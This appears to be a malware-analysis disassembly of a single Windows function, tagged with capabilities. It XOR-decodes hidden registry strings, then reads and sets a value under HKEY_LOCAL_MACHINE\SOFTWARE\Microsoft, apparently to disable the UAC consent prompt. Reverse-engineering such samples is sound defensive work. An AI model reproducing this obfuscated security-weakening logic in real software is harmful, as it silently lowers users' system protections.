Function at 0x140201e30
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Query or enumerate registry value
Set registry value

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x40]
sub rsp, 0x140
xor ebx, ebx
mov dword [rbp - 0x7a], 0x4e0053
mov ecx, ebx
mov dword [rbp - 0x76], 0x570044
mov dword [rbp - 0x72], 0x440053
mov dword [rbp - 0x6e], 0x420054
mov dword [rbp - 0x6a], 0x440054
mov dword [rbp - 0x66], 0x680063
mov dword [rbp - 0x62], 0x62007e
mov dword [rbp - 0x5e], 0x60007d
mov dword [rbp - 0x5a], 0x650076
mov dword [rbp - 0x56], 0x44004e
mov dword [rbp - 0x52], 0x7b007d
mov dword [rbp - 0x4e], 0x780072
mov dword [rbp - 0x4a], 0x6a006f
mov dword [rbp - 0x46], 0x580046
mov dword [rbp - 0x42], 0x6f0069
mov dword [rbp - 0x3e], 0x7a006c
mov dword [rbp - 0x3a], 0x55004e
mov dword [rbp - 0x36], 0x460074
mov dword [rbp - 0x32], 0x560056
mov dword [rbp - 0x2e], 0x48004f
mov dword [rbp - 0x2a], 0x750046
mov dword [rbp - 0x26], 0x44007a
mov dword [rbp - 0x22], 0x440040
mov dword [rbp - 0x1e], 0x46004d
mov dword [rbp - 0x1a], 0x420055
mov dword [rbp - 0x16], 0x60006e
mov dword [rbp - 0x12], 0x46004d
mov dword [rbp - 0xe], 0x520042
mov dword [rbp - 0xa], 0x55
nop dword [rax + rax]
movsxd rax, ecx
xor word [rbp + rax*2 - 0x7a], cx
inc ecx
cmp ecx, 0x39
jb 0x140201f20
movdqa xmm0, xmmword [0x1404cec10]
lea rdx, [rbp - 0x7a]
lea rcx, [rbp + 0x20]
mov word [rbp - 8], bx
movdqu xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x20], rbx
call fcn.14013edcc
cmp qword [rbp + 0x38], 8
lea rax, [rbp + 0x90]
mov qword [rsp + 0x40], rbx
lea rdx, [rbp + 0x20]
cmovae rdx, qword [rbp + 0x20]
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], rbx
xor r8d, r8d
mov dword [rsp + 0x28], 0x2011f
mov dword [rsp + 0x20], ebx
mov qword [rbp + 0x90], rbx
call qword [sym.imp.advapi32.dll_RegCreateKeyExW]
mov rdi, rbx
lea rcx, [rbp + 0x20]
test eax, eax
cmove rdi, qword [rbp + 0x90]
call fcn.14013ed68
test rdi, rdi
je 0x1402021e7
xor eax, eax
mov dword [rsp + 0x50], 0x6e0043
mov word [rbp - 0x7c], ax
mov ecx, ebx
mov dword [rsp + 0x54], 0x70006c
mov dword [rsp + 0x58], 0x6b0061
mov dword [rsp + 0x5c], 0x570072
mov dword [rsp + 0x60], 0x66007a
mov dword [rsp + 0x64], 0x7b0067
mov dword [rsp + 0x68], 0x4f0078
mov dword [rsp + 0x6c], 0x67006b
mov dword [rsp + 0x70], 0x670071
mov dword [rsp + 0x74], 0x7c007b
mov dword [rsp + 0x78], 0x540066
mov dword [rsp + 0x7c], 0x7a0072
mov dword [rbp - 0x80], 0x770071
nop dword [rax]
movsxd rax, ecx
xor word [rsp + rax*2 + 0x50], cx
inc ecx
cmp ecx, 0x1a
jb 0x140202030
movdqa xmm0, xmmword [0x1404cec10]
lea rdx, [rsp + 0x50]
lea rcx, [rbp]
mov word [rbp - 0x7c], bx
movdqu xmmword [rbp + 0x10], xmm0
mov qword [rbp], rbx
call fcn.14013edcc
cmp qword [rbp + 0x18], 8
lea rax, [rbp + 0x88]
mov qword [rsp + 0x30], rax
lea r8, [rbp]
cmovae r8, qword [rbp]
lea rax, [rbp + 0x80]
xor edx, edx
mov qword [rsp + 0x28], rax
mov rcx, rdi
mov dword [rbp + 0x80], ebx
mov dword [rbp + 0x88], 4
mov qword [rsp + 0x20], rbx
lea r9d, [rdx + 0x10]
call qword [sym.imp.advapi32.dll_RegGetValueW]
lea rcx, [rbp]
test eax, eax
je 0x1402020bb
call fcn.14013ed68
jmp 0x1402020cc
call fcn.14013ed68
cmp dword [rbp + 0x80], ebx
je 0x1402021b5
xor eax, eax
mov dword [rsp + 0x50], 0x6e0043
mov word [rbp - 0x7c], ax
mov dword [rsp + 0x54], 0x70006c
mov dword [rsp + 0x58], 0x6b0061
mov dword [rsp + 0x5c], 0x570072
mov dword [rsp + 0x60], 0x66007a
mov dword [rsp + 0x64], 0x7b0067
mov dword [rsp + 0x68], 0x4f0078
mov dword [rsp + 0x6c], 0x67006b
mov dword [rsp + 0x70], 0x670071
mov dword [rsp + 0x74], 0x7c007b
mov dword [rsp + 0x78], 0x540066
mov dword [rsp + 0x7c], 0x7a0072
mov dword [rbp - 0x80], 0x770071
nop dword [rax]
movsxd rcx, eax
xor word [rsp + rcx*2 + 0x50], ax
inc eax
cmp eax, 0x1a
jb 0x140202140
movdqa xmm0, xmmword [0x1404cec10]
lea rdx, [rsp + 0x50]
lea rcx, [rbp]
mov word [rbp - 0x7c], bx
movdqu xmmword [rbp + 0x10], xmm0
mov qword [rbp], rbx
call fcn.14013edcc
cmp qword [rbp + 0x18], 8
lea rax, [rbp + 0x80]
lea rdx, [rbp]
mov dword [rsp + 0x28], 4
cmovae rdx, qword [rbp]
mov r9d, 4
xor r8d, r8d
mov dword [rbp + 0x80], ebx
mov rcx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.advapi32.dll_RegSetValueExW]
lea rcx, [rbp]
call fcn.14013ed68
mov eax, 0x80000000
add rax, rdi
cmp rax, 5
jbe 0x1402021e7
cmp rdi, 0xffffffff80000007
je 0x1402021e7
cmp rdi, 0xffffffff80000060
je 0x1402021e7
cmp rdi, 0xffffffff80000050
je 0x1402021e7
mov rcx, rdi
call qword [sym.imp.advapi32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x198]
add rsp, 0x140
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret